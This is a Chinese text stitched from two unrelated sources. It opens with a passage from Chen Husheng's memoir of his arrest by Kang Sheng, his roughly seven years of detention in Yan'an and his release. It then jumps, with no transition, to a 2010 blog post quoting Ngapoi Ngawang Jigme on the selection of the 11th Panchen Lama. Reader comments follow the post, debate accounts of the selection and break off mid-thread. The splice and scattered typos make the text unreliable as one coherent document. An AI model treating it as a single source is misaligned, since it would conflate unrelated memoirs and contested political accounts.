我强压着怒火回答康生说:“我没有贩大烟,而是××同志干的,他自己心里清楚,也应当向你汇报清楚!”
“这么说,是我没调查研究喽?”
“这是有人混淆是非,颠倒黑白!”我几乎是喊起来了。
“啪”的一声,康生一拍桌子站了起来,指着我的鼻子叫道:“陈湖生,你有错不认,还反赖别人,你这是反政府、反党、反领导!”
我一看他这副样子,身不由己地也把胳膊抬了起来,可我的手没拍到桌子上却从空中拍向了他的脸部。当然,并没有打着他,只是险些把桌子撞翻。
我确实太莽撞了,太年轻了,太受不得委屈了。我以自己的实际行动,为康生给我扣的帽子提供了“最真实的证据”,而且罪加一等,殴打领导!
结果是不难想象的:两个小时以后,即下午1时,我、黄赤波、汪孝忠全被拘捕了。从此以后,我的党籍也就稀里糊涂地丢掉了——没有人向我宣布过开除我的党籍。

三、夫人传书,首长救命
我们被抓起来以后,我被押在延安市公安局管辖的一间牢房里。黄赤波、汪孝忠被押在另一个地方。后来知道,他们只押二三天就被放了,我却是生死未卜了。
我住的牢房,只是牢,而称不上是房。它只是西山上一个土地小庙,1米宽,2米长。当我住进这小小的洞府后,头脑才真正冷静下来。我把这前前后后的一切想了又想,才真正意识到事情的严重性。我明白,无论我有没有想调动的问题、贩卖大烟的问题,也无论我的态度是好还是不好,这场运都将降临到我的头上。根子就在康生是否被捕过,是否参加过托派,如果是真的,我必死死疑;如果不是,也许还有生还的希望。但想到康生他们秘密杀害西路军回来的红军干部的情景时,我又彻底泄气了,生存的希望似乎立即破灭了。我回想起参加红军后近10的战斗经历,觉得自己对党忠心耿耿,问心无愧。我也想起在特务营时被左倾路线错误杀害而牺牲的许多同志,又感到自己的处境实在无所谓了。但想起彭总、滕政委、张纯清局长、袁国平主任、罗瑞卿局长等许多首长和战友时,却涌起了一股酸楚之情,我多么希望还在这些首长的领导下继续和战友们并肩战斗啊!尤其是想到我的妻子、女儿,更是揪心的疼痛。
我的妻子薛玉兰,是红四方面军的长征干部,可她刚刚19岁,我们结婚才一年多。我的女儿陈瑛(小玉)刚刚出世一个月。如果我永远离开她,他们不仅失去了夫、父亲,搞不好还要背上一个反革命家属的黑锅。谁来照顾这可怜的孤儿母呢!我好像一下子老了许多,似乎第一次懂得什么叫思考,什么叫痛苦。
被关了一个多月后,我的不幸的预感被证实了,康生决定暗杀我。无论是这
个消息本身,还是消息来源都使我感到异常愤怒。
那是初秋的一个下午,我的爱人薛玉兰来到关押我的西山上“探监”。她面临憔悴,神色惊慌,一见面就说:
“老陈,不好了,他们可能要杀你!”
“你怎么知道的?谁告诉你的?”我这时倒没有恐惧的心理,只想证实一下消息的可靠性。
“是××说的。”
“是他?”我的脸上露出了疑惑的神色,我怀疑××是否知道,而且知道了又怎么肯告诉我的家属呢?
妻子看我没有说话,泪水一下子挂满了她的脸颊。她哽咽着说:“你被关起来以后,××就没安好心,那天,他想欺侮我,我坚决不干,骂了他几句,骂了他几句,他就狠狠地说:‘陈湖生活不了几天了,你还守着他!看你还能守几天!’”
“卑鄙!无耻!”我只觉得热血翻涌,恨不得立刻把那个落井下石的流氓抓过来痛打一顿。
“老陈,别想那个坏家伙了。你还是快想想办法吧!你不是认识好多首长吗?赶紧写个信告诉他们,说不定还来得及。纸笔我都带来了。”
危难之际,妻子想到只是我,而且想得非常周全。我真想紧紧把她抱在怀里,永不分开。
从我盯在她身上的眼神里,妻子看出了我的心思,她轻轻地说:“快写吧!别胡思乱想了!”
这时,随同她一起上山来的那个十几岁的小战士坐在洞外正打瞌睡,我们的谈话他根本没听。我明白,这一定是我的老战士王卓超在我为我们创造条件,他现在正是延安市公安局长。于是,我赶紧用妻子带来的纸和笔匆匆写了3封信。一封给彭德怀同志,一封给滕代远同志,一封给罗瑞卿同志,他们都是非常了解我们三军团的老首长。
信由薛玉兰带走了,我相信,带到首长那里是没问题的,但首长们忙什么呢?有时间吗?管得了康生的事吗?我又过起了胡思乱想、惴惴不安的“洞府生活。
消息终于来了,这次不是小道消息,更不是以妻子的屈辱换来的消息,而是罗教育长(当时罗瑞卿同志任抗大教育长)并笔给我写的一封六页纸的信。信中说,首长们都收到了我的信,都很关心我的问题,要求我正确对待这件事,要相信党,相信组织,也要反省自己的缺点和错误。信中明确告诉了我,滕参谋长(滕代远同志当时任军委参谋长)已给康生、××打过电话,告诉他们:“陈湖生工作有成绩,有功劳,你们不能随便伤害他的生命,他的问题由中央来解决。”看着首长的亲笔回信,我眼里充满了泪水,世界上有什么比同志、战友、亲人之间的理解、信任和支持更宝贵呢!
由于首长的亲自干预,我的命保住了。但是“死罪饶过,活罪不免”。康生、××又把我从延安市公安局那里提出来,送到清凉山高等法院寄押。这实在是高明之极的整人办法“寄押”,代押之意也。就是说,人还是保安的人,只要高等法院代为看押,而高等法院无权过问我的案子。说它“高明”,就在于这个方法省了许多麻烦,可以不确定我是否有罪,以应付别人的询问,又可以不露声色地让我吃尽苦头,可以任意关押而不处理我的问题。因为,按照当时延安的法规,有期徒刑最高刑期是5年,超过5年的就是死刑,而寄押却不受这个限制。事实正如我分析的这样,我一下子被押了7年之久,而且从未有人找我谈过话,更没有宣布我的罪状是什么。成了当时在延安既未被枪决、又坐牢超过5年的特殊囚徒。
在这7年里,我经受了精神上和肉体上的折磨。1940年我和爱人薛玉兰离了婚。我被捕后,她们母女的生活状况怎么样,玉兰没和我讲过,但我却可以想象她们的艰难和困苦。正因为如此,我毅然同意和她分开了。我不能再让她们为我吃苦,但是,一样分别两样情,为了爱而分手与打散的夫妻比竟不同啊,没有亲身经历的人是很难体会其中的滋味的。
监狱的生活自然是更难了。别的不说,光那种装束打扮就让人受不了。犯人穿的是一种一边红一边黑的对襟衣服。以胸背的中线为界,左边红、右边黑,泾渭分明,十分对称。每人头上一条不宽不窄的“马路”(每人的头都从中间推光,两边留头发)。对我这个十年来一直指挥别人的官儿来说,这副模样儿实在是一种精神上的折磨。当然,这毕竟还算次要的方面,更厉害的还是实实在在的犯罪生活。有的人可能知道,监狱的日子要比拘留所好过一点,那时也一样,不判刑的比判刑的更受罪。判了刑的犯人可以在监狱外面上山去开荒种地,至少可以呼吸一点新鲜空气。而我这个寄押犯同未决犯人一样待遇,连劳动的机会也没有。而且,从1939年1月1日,又不知是谁指使(反正不是高等法院决定)给我戴手铐脚镣,成了未决犯中最重的犯人。按照惯例,被判死刑的往往都带镣,处决犯人时都从这些人中往外提。所以,每当要处决犯人时,我就把新衣服穿上,等着叫我的名字。在5年零4个月的带镣生活中,我不知经过了多少次这种场面。作了多少次走的准备,开始几次听到自己的名字而感到奇怪和稍稍的遗憾了。看来,人在精神上承受折磨的能力也是可以锻炼提高的,只要在打击之初经住了考验,后面的日子也就好过了。
就这样,我不仅没有死在监狱里,也没有得什么病。如果“寄押”是康生想置我于死地的又一着棋,那么,他的阴谋又破产了。
四、“请判我五年徒刑”
1944年6月4日,在我被捕6年11个月之后,高等法院长雷经天同志终于找我谈话了。这是我在押期间第一次有人代表组织找我谈话,也是最后一次。因为,从此以后,我基本上获得了自由。
雷院长的谈话非常简单,他说:“你是属于保安处的人,是寄押在我院的,我院无权过问和审理你的问题,所以无法找你谈话。你的事有原因,有曲折,将来党会告诉你。现在宣布释放你。出去以后,好好工作。现在,你暂时留在我院看守所帮助宋所长一段工作。”
世界上事情是复杂的,但作为结果却是那样简单。7年的牢狱生活就在这几句话中结束了,就像当初我同康生谈了几句话就立即被投入牢狱一样。但是,究竟是哪一级组织、哪位首长同意让我先出来,我至今也搞不清楚。
出狱以后,我就在看守所帮助工作。在这期间,薛玉兰同志又来看我(这时她已结婚),并应我的要求,把我的女儿陈瑛送到了我的身边,我要尽到做父亲的责任,我要让女儿得到从小没有得到过的父爱。有女儿在我的身旁,孤苦的心灵总算有了一些慰籍。
但是,我的问题并没有彻底解决,我的正式工作还没有分配,我还要为摆脱我头上的魔影而费一番苦心。
我在看守所帮助工作,一帮就帮了一年多。在这一年多的时间时里,我很少出门。说不清是一种什么心理在支配,我简直怕见人。但是,我尊敬的几位首长那里,还是都去了。
我先到了罗瑞卿同志那时里。见到分别了六七年的老首长,我又激动,又羞愧,自然也有几分委屈。有满肚子话要说又不知从何说起,终于也没有说。经过几年手铐脚镣的磨练,我毕竟成熟一些了。说什么呢?难道还要让老首长为难吗?罗教育长见到我也很高兴,他主动询问了一些情况,并留在我他那里吃饭。饭桌旁还坐着叶剑英首长和郝治平同志,罗瑞卿同志向叶介绍我说:“这是陈湖生,犯了点小错误,押了他六七年!”叶剑英同志含笑点头:“我知道。”临走的时候,罗教育长送了我一双袜子。
到了彭德怀同志那里,别有一番气氛,彭总就是彭总,一见面就大声对我说:“不陈啊小陈!你是怎么搞的嘛,我的好地方你不学,我的坏毛病倒都学去了!”我一听自然明白,这是指我同康生吵架甚至动手打了他的事。从这种亲切而又中肯的批评里,我再次感受到首长对我的信任和无比的关怀。彭总又接着对我说:“我找××谈过,他有点害怕。你要主动找他们去谈,消除你们之间的隔阂。”彭总还给我写过类似内容的信。(“文化大革命”中,我把这封信连同罗瑞卿总参谋长写给我的信一并交给和平街13区居委会党支部书记苏桂兰处的军代表了。因为那时他们要审查我这段历史,我把彭总和罗总长的信作为我无罪的证据拿出去了。但适得其反,后来有人又据此说我“与彭德怀有勾结”。现在此信不知在什么地方。)在我离开彭总的时候,他好像与罗瑞卿同志约好了似的,又给了我一双鞋,一双袜子一双鞋,这就是彭总这一级首长们当时能够送给下级的礼物!假如我今天能再去看望他们,首长还会送我礼物吗?送什么呢?
后来我又去看望了胡耀邦同志。耀邦同志告诉我:“我去要过你,××说,你在狱中组织犯人逃跑。你自己不愿出狱。”听了这话,我的心又是一紧。在我入狱以后,确实出现过一次犯人企图逃跑的案件,但那不是我,相反,恰恰是我发现后报告的。那个企图逃跑的人叫顾则平,上海人,是随第三国际的张浩一起来到延安的。在狱中我见到他时,也是个未决犯,也被戴上了脚镣。他为什么被捕,我不知道,因为那时狱中有规定,犯人之间不许询问彼此的案情。有一天夜里,我听见有“嚓嚓”的响声,听了一会儿,从方向上判断是顾则平在锯脚镣。我是未决犯人的队长,如果他逃跑了也会找我算帐。我赶紧找到看守所宋所长汇报此事。后来找顾则平谈,他也承认是要跑到西安去。这件事看守所长知道得清清楚楚,决不会汇报错了。可为什么××却还要嫁祸于我呢!我没有发火,只是非常认真地告诉耀邦同志,那不是我,是顾则平,而且是我发现的,并表示要去高等法院写个证明材料。耀邦当即说:“那很好。”后来我把高等法院院长雷经天同志写的证明材料交给了胡耀邦同志,他看了以后说:“我明白了。”再没说什么话。
从耀邦同志那里回来后,我已意识到,康生等人到现在仍没打算放过我,如果按彭老总的指示去找××谈,也不一定能消除隔阂。所以我必须离开保安处,摆脱他们对我的控制。恰在这时,××提出要我去延安大学学习。这看起来是好事,其实不然。延安大学不同于抗大,那里学习实际上是对内审查,等于是第二保安处,康生等人还可找借口害我。××的这一要求更坚定了我迅速离开保安处的决心。
我苦苦思索着脱身之计。终于想了一个不太高明但还可行的办法,那就是要求判刑。高等法院一判刑,我就不是保安处的“寄押犯”,而是高等法院管的犯人,出来后就得由边区政府重新安排,保安处再要人就不容易了。在我的请求下,1945年5月30日,陕甘宁边区政府高等法院以“贩卖大烟,对抗领导”的罪名判处我5年徒刑。别人判刑后失去的是自由,而我却是以判刑换来了行动上和精神上的自由。
五、重返前线
1945年6月5日,我拿着边区政府的介绍信来到总政治部办理回部队的手续。总政组织部胡耀邦部长接待了我,他让我先住进招待所,等候分配工作。这时,我才感到一块石头落了地。也就在这个时候,我把自己陈湖生这个名子,改为陈复生。
在我等待分配时,我又去了罗瑞卿同志处,他对我说:“我们研究过恢复你党籍的问题。朱总司令、叶参谋长、胡部长和我本人都同意,康生也不反对,但他提议到前方去恢复,不要在延安恢复。他说,你的问题不少同志都知道,在这里恢复怕影响不好。康生的意见也得考虑,我们同意了,就到前方去恢复吧!”
1945年9月24日,我随延安外派的第二批干部奔赴前方,被分配到热河军区保卫部侦察科工作。1946年4月25,我但任热河军区政治部总务处长。同年5月4日,经中共冀察热辽大军区分局批准,恢复了我的党籍,党龄从1931年入党之日计算。

阿沛阿旺晋美讲述十一世班禅选择过程

$
0
0

阿沛阿旺晋美讲述十一世班禅选择过程

185月

我最近才看到这篇南华早报1998年对阿沛的访问(转引自Prima Facie博客),里面讲了一些十一世班禅选择过程中发生的情况。如果能像退休的西方政治人物一样,写写政治回忆录,阿沛的回忆录一定能大卖。可惜阿沛先生已经仙去,很多历史事实也随之飘逝。我摘录和十一世班禅选择过程有关的记录如下:

班禅大师去世后,中央对他的后事处理十分重视,要在北京举行隆重的追悼大会。当时我们向中央建议,这是与达赖接触的好机会,可以以适当的方式邀请达赖参加 班禅大师的追悼大会,他就此可与中央政府进行接触,中央接受了这个意见,商量由中国佛教协会的会长赵朴初居士出面,写了一封亲笔信给达赖喇嘛,邀请他出席 班禅大师的追悼会。当时达赖的二哥嘉乐顿珠就在北京,他到我家做客,我向他谈及此事,讲明这是达赖和中央政府亲自接触的难得的好机会。请他转告达赖,我希 望他务必来,不要错过这个机会。嘉乐顿珠也认为是个好机会,表示要亲自带信到印度当面交给达赖,并说服达赖一定来北京。后来这封信由嘉乐顿珠亲自面交了达 赖,但达赖拒绝了。

……

(记者)问:有件事我不太了解,就是恰扎与达赖换信被抓的情况。

(阿沛)答:这件事详细谈会很长,简单介绍达赖和班禅转世灵童认定问题。从八世达赖时 期,清朝中央政府确定了金瓶掣签制度,从九世达赖开始实行,用这种办法来确定灵童转世的正身。金瓶掣签之前,按规定要选出几位候选灵童。认定达赖的转世灵 童可由在世班禅打卦,挑选几名候选者。认定班禅的灵童,可由在世的达赖打卦认定几名候选者。如果达赖和班禅都不在世,可由一位有威望的大活佛打卦认定候选 灵童。这种认定仅仅是候选灵童,而不是灵童的正身。正身必须在大昭寺的释迦牟尼像前进行金瓶掣签认定,最后报请中央政府批准。在认定十世班禅灵童的问题 上,我对中央政府提出过建议,为了将这件事办得圆满,可由扎什伦布寺的民主管理委员会出面给达赖写信,让达赖打卦认定一个候选灵童,这个灵童可与国内其他 候选灵童一起进行金瓶掣签。后来达赖突然宣布,就认定他候选的那个小孩为班禅大师转世灵童的正身。这根本就不符合规矩,不要说达赖在国外,就是在国内也无 权最后认定灵童。这件事是达赖和恰扎私下里做的,恰扎要求达赖这样做,达赖也特别愿意这么干,这完全违背了传统的做法,恰扎当然就被关起来了。

问:恰扎现在在哪里?

答:肯定关起来了,在哪里我不知道。

问:他犯了什么罪?按法律是什么罪名?

答:这件事恰扎有很严重的错误。如果你写信给达赖,请他选出一位候选灵童,那我看就没有问题。而恰扎不是这么做的,他报过一个名单去,说就请你认定这个小 孩为转世灵童正身,这就违反了定制。这样做法在法律上定什么罪,我不清楚。但这是一个很严重的问题。

问:达赖选的灵童在哪里?

答:在一个地方学习。

(着重号为David所加)

这篇访谈有中英文两个版本,就像我引的博客上说的那样,“两个版本编写者的立场、修辞和采用的体例大相径庭”。在英文版中,作为背景资料,作者介绍了一些阿沛在高层为藏族/西藏争取更多空间的言论。谈到班禅选择时,英文作者写到,

Inside accounts, also claim that Jigme tried to stop Beijing from holding the golden urn divination ceremony to discover the 11th Panchen Lama reincarnation. He reportedly went to government archives to show that the central government had not used the urn before nor had it been involved in the selection of the 10th Panchen.

内部消息称,晋美试图阻止北京在认定11世班禅转世时使用金瓶掣签。据报,他查阅政府档案,想证明中央政府在之前的班禅转世中并未使用金瓶,甄选10世班禅时中央政府也未参与其中。(Sol提供翻译校正)

(着重号为原博客已有)

所以,从阿沛自己的话和其他内部消息看,当时在中国政府对藏决策层存在以阿沛为首的一个群体,他们在认同中国中央政府的同时,也艰难地维护其民族利益。近二十年过去了,这个群体似乎已经瓦解,或者退到了政治花瓶的位置。

47条评论Posted by  于 五月 18, 2010 in 雪狮与龙每日杂谈

47 responses to “阿沛阿旺晋美讲述十一世班禅选择过程

  1. er

    五月 18, 2010 at 9:57 上午

    关于十一世班禅大师的转世现在是一个罗生门的故事。

    我刚刚看完阿嘉活佛的回忆录,随便说一说他在书里的说法。他讲让恰扎活佛和达赖喇嘛通讯,让达赖喇嘛也参与到十一世班禅灵童的选择中,这个是共产党同意的。恰扎活佛和达赖喇嘛通讯以后,由于从达兰萨拉到扎寺的通讯不方便,达赖喇嘛结果没有收到扎寺这边进一步的消息,就自己宣布了。共产党听到这个消息以后,当场就勃然大怒。阿嘉活佛还说到,恰扎活佛不太希望新的班禅大师再从青海这边选,而希望在扎寺所在的西藏自治区里面选择。所以虽然阿嘉活佛在灵童的选择里面担任职务,但是基本上不参与这个活动。

    阿嘉活佛还谈到十世班禅结婚的问题,他说某位原国民党的高层人士对班禅大师说,通过结婚可以向党表明自己已经被“改造”成功,完全接受党的领导,从而能为自己民族做点事情。于是班禅大师动了念头,然后这位人士和董其武是麻将友,董听到这个消息,结果打算把自己家的大女儿,年纪大一些嫁给班禅大师。结果,他的小女儿李洁当时很好奇,结果也跟着去了。结果班禅大师对李洁很有好感。结果是有心栽花花不开,无心插柳柳成荫。当然,青海这边,班禅大师的老师对此是很反对的,结果他就派了阿嘉活佛带了信到北京,表示反对这个事情。但是,没有作用。说是报上去,很快就批了。但是,后来共产党认识到这在政治上是个严重错误。于是班禅大师的妻子从不和班禅大师在公众场合出现。

    阿嘉活佛还回忆到当年西藏第一次骚乱,开枪以后,共产党请出班禅大师,然后组了好几个工作组。一开始,放到录像是被裁减过的,于是班禅大师勃然大怒,夜里跑到西藏自治区书记伍精华家里,让他交出录像带的全部。班禅大师的想法是基本上是想把它控制在人民内部矛盾来解决,但是最后根本无法控制住。

    阿嘉活佛的这本回忆录基本上感觉写得还是比较真实的,可以和平措汪杰等人的回忆录对照着看,基本上说,共产党在藏区搞的东西,和在内地搞的是差不多的,就是破除旧的一切,企图建立一个新的世界。除了内地派来的干部外,内部主要起作用的就是所谓的积极分子了。当然,他也有为尊者讳的习惯,基本上避而不谈当年九世班禅大师在青海流浪的原因。

    这里,我纯属凭记忆写几点比较感兴趣的东西,可能有错。大家有机会自己找来看看吧!

  2. davidpeng

    五月 18, 2010 at 10:23 上午

    这本书值得推荐吗?如果不是战斗材料的话,我去弄一本。

    不过这本书的英文题目是《Surviving the Dragon》,封面上似乎是十一世藏班禅的照片,我有些concerns。

    • 丁一夫

      五月 19, 2010 at 12:05 上午

      那是阿嘉仁波切的照片。

      • davidpeng

        五月 19, 2010 at 8:39 上午

        @丁一夫,谢谢指教!

  3. davidpeng

    五月 18, 2010 at 11:25 上午

    分析一下,在恰扎和达赖喇嘛讨论十一世班禅问题上,阿沛的说法是,“这件事是达赖和恰扎私下里做的,恰扎要求达赖这样做,达赖也特别愿意这么干。”根据Goldstein在雪狮与龙一文中的说法,“恰扎活佛给达赖喇嘛一封信,信中列出了25名候选灵童的详细资料(包括照片)。他还告知达赖喇嘛,种种迹象表明,其中一名男童——根敦确吉尼玛(Gendun Choekyi Nyima)——是真的转世。[7]……1995年初,达赖喇嘛还是检查了这些资料,同意恰扎活佛的结论。2月初,达赖喇嘛给恰扎活佛回信,说他的占卜结果也确认了根敦确吉尼玛。”

    这两种说法是一致的,这一点从阿嘉对在青海还是西藏寻找转世的评论得到印证,说明恰扎意图主导整个寻访过程;他同时想利用达赖喇嘛,认定他确认的灵童。但是,Goldstein的来源[7],实际上来自新华社(FBIS—CHI-95-229, 1995年11月29日,新华社)。所以,也不奇怪这两种说法是一致的。在美国方便的朋友可以去查一下FBIS的这个来源,应该也能够找到新华社的中文原稿。这种说法,似乎说明,中国政府知道恰扎和达赖喇嘛通信的所有内容,要么是通过技术手段,要么是其通信本来就存档,要么是事件发生后对恰扎的讯问。

    而从阿嘉活佛的回忆看,他虽然在小组中担任职务,但由于种种原因,并不从事其中的具体工作,不知道内情。从他的解释看,这并非他自己的第一手资料,而是转述达赖喇嘛一方对“为什么达赖喇嘛单方面宣布灵童”的解释。因为在事情发生时,他并不在达兰萨拉,他不知道“达赖喇嘛没有收到扎寺这边进一步的消息。”他知道这一解释,要么是事后,(他还在中国境内的时候),由他和达赖喇嘛之间的管道告诉他的;要么是他到海外后,由达赖喇嘛一方的人告诉他的。所以,这个转述的价值并不大。

    但是,如果这一解释属实,即达赖喇嘛发布灵童,只是因为通讯不畅。那么Goldstein对此事的猜测不对(当然,苛求猜测似乎没意思)。Goldstein猜测,当中国内部讨论是否放弃金瓶掣签(内部消息中阿沛力图劝说中国政府放弃掣签的努力)遇到僵局时,恰扎做了进一步的事情,他将这一僵局告诉达赖喇嘛一方;受此推动,达赖喇嘛首发了恰扎的认定。

    从各种情况和迹象考虑,达赖喇嘛对这个寻访过程并不积极,但是他也愿意配合。这符合达赖系统和班禅系统彼时的关系。但是从这种态度变到积极首发,我觉得应该存在某种推动力,而不是简单的“通讯不畅”。

    从阿沛和阿嘉的回忆看,无论出于何种原因,恰扎力图主导整个寻访过程,让所有其他势力为他所用。然而,他面临的矛盾太大,难以调和,“通讯也不畅”,他自己成为了牺牲品,而出现了对参与所有各方都很差的结局。

  4. davidpeng

    五月 18, 2010 at 11:46 上午

    xiaoxiao以前对我对阿嘉活佛的一些评论有异议。我同意,很多事情可能是永远也弄不清楚的,我们只是在合理猜测和怀疑吧。

    我想指出的是,过去在冷战期间,包括其他一些敌对势力之间,这样的出逃很多见;高阶官员的出逃也很常见。这些出逃人员,一般很快变成另外一方的政治宣传工具,有些用来做对方的情报研究的信息来源。你甚至可以认为这是一种反洗脑。

    xiaoxiao认为阿嘉活佛的出逃是为了宗教。我看不是。他在海外的活动很多都不是宗教活动,至少是夹杂了很多政治因素的宗教活动。(我倒是认为噶玛巴的出逃有很大程度和宗教有关。)如果说他离开大陆是为了避开大陆政府对宗教的干扰,那他现在处在一个没什么干扰的地方,应该找个寺院好好修炼佛法。

    作为政治宣传工具,他很多时候会被有意无意地被植入一些信息。例如上面的关于班禅转世选择的说法。这些话被植入后,通过他的书讲出来,比直接从达赖喇嘛一方讲出来可信度似乎更高。但,仅此而已。

    其实就个人观点,我衷心希望阿嘉活佛不是这种情况。因为这种情况对个人而言是悲剧。阿嘉活佛是一名修法多年的高僧,希望他能够破除一切世俗障碍,用平和的心来观照他所经历的这一切。

  5. sol

    五月 18, 2010 at 12:26 下午

    对此事了解不多,只能旁观各位讨论。

    这里讨论一个翻译问题,希望david不要见怪。我觉得你这句话似乎翻译得不大准确。

    He reportedly went to government archives to show that the central government had not used the urn before nor had it been involved in the selection of the 10th Panchen.

    据报,他查阅政府档案,想证明中央政府在之前的班禅转世中并未使用金瓶,甄选10世班禅时也未使用。

    • sol

      五月 18, 2010 at 12:30 下午

      “to show that”我理解为”in order to show that”,即“想证明”

    • davidpeng

      五月 18, 2010 at 12:36 下午

      你是对的,我更改了,谢谢!

      维基百科中金瓶掣签条说:

      金瓶掣签制度建立后,第一个启用金瓶掣签并得到认定的达赖是九世达赖的转世灵童,即十世达赖楚臣嘉措;第一个用金瓶掣签认定的班禅是七世班禅转世灵童,即八世班禅丹白旺修。自清王朝至民国的200多年间,仅西藏一地,就有格鲁、噶举、宁玛三派的39个活佛转世系统70余名活佛通过金瓶掣签认定。

      仅供参考。不过不想把讨论再分流到关于金瓶掣签上去了。

  6. sol

    五月 18, 2010 at 12:52 下午

    哎,自己又将那句英文读一遍,发现it可能代指的是the central government,原因有两点:一是从not…nor…的句式结构上看,二是我觉得it后跟了involve这个词,所以主语更像是nor had the central government been involved in…而不是nor had the urn been involved in…

    但自己并无百分之百的把握,或许可以请身边有native speaker的朋友帮忙再看看。

    如果我是对的,译文就变成了:

    据报,他查阅政府档案,想证明中央政府在之前的班禅转世中并未使用金瓶,甄选10世班禅时中央政府也未参与其中。

    希望我纠缠在翻译上,不会扰乱大家正题的讨论。

    • davidpeng

      五月 18, 2010 at 1:18 下午

      应该这个解释是对的。

  7. er

    五月 18, 2010 at 9:19 下午

    我觉得还是值得一读的,AMAZON上的评价很高的。但是,我觉得他还是有不少被人加工过的痕迹,有不少为尊者讳的东西,缺少真正的独立的反思。但是,它最少提供了藏族僧侣的视角去看过去的几十年。

  8. davidpeng

    五月 18, 2010 at 9:24 下午

    我已经找人帮我买了,不知道什么时候才能到我手上来。

    谢谢er推荐。

    还没看过别人的书,就大放厥词,会被人骂的。呵呵。

  9. er

    五月 18, 2010 at 9:25 下午

    阿嘉活佛说自己跑掉的原因不是修炼什么佛法,而是怕被卷到十一世班禅的事情上。共产党希望他当班禅的老师,也就是为班禅背书。而他显然不愿意跳到这滩浑水里面去,陷入双方的斗争中,成为一方的筹码,而最后可能象恰扎活佛一样坐牢。于是他觉得三十六计走为上才是对的。

  10. davidpeng

    五月 18, 2010 at 9:50 下午

    从这个意义上来说,把恰扎抓起来进一步恶化了政府和藏传佛教界的关系。你可以说共产党不好,也可以说达赖喇嘛害了恰扎,反正在当中寻找空间,甚至象恰扎这样试图玩火是越来越难了。

  11. er

    五月 18, 2010 at 11:00 下午

    几方在那里博弈而已。不知道谁在做最后的决定或者谁在提议,也许是通过占卜,我的理解是打算赌一把,看共产党会不会咽下那口气。如果达赖喇嘛通过幕后先跟共产党协商,承认其在选择班禅灵童有某种权利或者地位的话,未必双方不能有个比较好的结果。就共产党的角度来理解非常简单,我本来全盘控制根本就不让你参与,一点灵童的信息也不告诉你。现在好心好意让你参加,结果你到最后摆了我一道,把我从中彻底抛开。这个脑羞成怒的心态是可见而知的。其实是非常典型的囚徒困境案例。假设双方都是想解决问题的话,那么最重要的就是抛开分歧,先建立一个信息的通道。

    • 丁一夫

      五月 19, 2010 at 9:24 下午

      对中国政府来说,凡事要紧的是宣示主权。我们却应该理解,对于藏人,对于处于危机感的藏民族精英来说,要紧的是维持其民族传统。因为只有在独特民族传统得以维护的前提下,他们的民族identity才可能维持下去。藏民族的传统以其宗教为核心,而“达赖喇嘛和班禅喇嘛互为师生,互相认证”就是当代他们一定要力争的。

      这一点其实不是中央政府和流亡藏人合作的障碍,恰恰是合作的契机,因为逻辑上,达赖喇嘛和班禅喇嘛互相认证,并不妨碍中央政府的主权。中央政府宣示主权,也不一定就不能让达赖喇嘛认证班禅喇嘛。十七世大宝法王噶玛巴的甄选和认证,就是证明。在班禅灵童寻访初期,也有明显合作迹象。

      如果中国政府“咽下那口气”,那么,如今在中国政府监护教育下的班禅喇嘛就是全体藏人都应该服膺的“经过达赖喇嘛认可的”班禅喇嘛了。

      于是,在如今达赖喇嘛圆寂之后,新的十五世达赖喇嘛,按照传统应该由班禅喇嘛认可。在某种合作下,如果经班禅喇嘛认可的十五世达赖喇嘛产生在境内,那么,达赖喇嘛回归的问题就通过转世解决了。

      事情没有如此发展。是好事还是坏事?谁知道呢?对这一问题的后果和影响,达赖喇嘛尊者似乎比较轻松。

      我们必须理解,藏民族对于神谕的理解,和我们不一样。我们汉人应该了解他们,能够在他们的地位,用他们的角度来理解他们,才能达到持久的和解。

      • er

        五月 19, 2010 at 11:42 下午

        不是理解不理解的问题。我是力图分析当时双方为什么会作出这样或者那样的决策?结局很明显就是一个双输的结局,分析原因可以找出防止这种结局再次发生的可能。

        对共产党而言,更重要的是幕后的协商,照顾对方的面子。如果达赖喇嘛把最终宣布的权力让度给中国政府,而他获得参与乃至选择的权力。未必没有可能达成妥协。我觉得关键在于达赖喇嘛过早的宣布这个事情,这在政治上很明显是一个错误。因为我们根本没有看到他背后如何协商,共产党如何不同意等之类的。达赖喇嘛通过共产党同意给的信息,但却没有和共产党协商最终宣布的权力的问题。这就是为什么中国政府会恼怒如此的缘故。

      • er

        五月 19, 2010 at 11:58 下午

        在博弈论里面,要逃脱囚徒困境的唯一可能就是双方的信任,相信对方不会出卖自己,然后才能可能取得对双方都最优的结果。

        共产党同意恰扎活佛把消息透露给达赖喇嘛,这本身就是一种善意的表现,当然他也希望下一代的班禅没有异议。因为它可以选择完全对达赖喇嘛封锁所有的消息。而对于这种善意,达赖喇嘛没有报以善意,而自己一手把持了宣布的权力,跟本不和共产党协商。共产党也就是忍不下一口气,采取了针锋相对的策略,最后导致了双输的结局。它可以选择忍的策略,这样的话,就是达赖喇嘛全赢,共产党小输。但是,它在气头之下,宁愿选择双方都大输。其实,最后最大的输家还是藏传佛教。

      • 丁一夫

        五月 20, 2010 at 12:09 上午

        在这个问题上,我原来和你的看法差不多:这事情是双输的结果,政治上是一个错误。

        我就此求证过藏人方面。他们的结论却完全不是这样的。

        我一开始也觉得很难理解他们的思路。后来发现,你得站在他们的处境上想,还得了解,藏人特别是僧侣,对于“错误”,“后果”,等等的理解和处理方式,是和汉人不一样的。

        于是,一切都不再那样地“有所谓”。

  12. er

    五月 18, 2010 at 11:10 下午

    而且这种达赖喇嘛不参与并非没有先例,当年十世班禅大师就得不到拉萨方面的承认,拉萨方面还找另外一个。后来,随着共产党入藏,十世班禅大师才得到达赖喇嘛系统的正式承认的。当然这个承认表明这个问题的结束,从此再无争议。

  13. 比目鱼

    五月 19, 2010 at 10:47 下午

    丁一夫:
    高论。对于很多藏人,将‘甲那’译为内地可尚可受,但未经达赖喇嘛认定,而由共党直接任命的班禅喇嘛藏人是不会接受的。是的,一个民族有他独特的承受底线。北京班禅只能是一厢情愿的政治傀儡,他不可能达到党的期待,只是浪费纳税人的钱的一场闹剧。自编自导自演自看的戏,没有群众基础。

    • 丁一夫

      五月 20, 2010 at 12:28 上午

      好像记得Goldstein在他的书里说到,中央政府不能给西藏以真正自治的一个原因是,真正的自治是以一定的民主为前提的,如果给西藏以真正自治,就难免在西藏实行一定的民主,那么就没有理由不给中国其他地方以同样的民主。

      我的理解是,这也就是说,不给少数民族地区以自治,和不给中国民众以民主,是同一个原因。从根本上说,就是对民众的恐惧。

      一定会有人不同意,说不给西藏真正自治是为了防止自治后的西藏要独立。

      这种担心也是出于对民众的恐惧。这种恐惧还有一个简单实例:

      北京永远也不敢让自己控制之下的班禅行动自由。

      • er

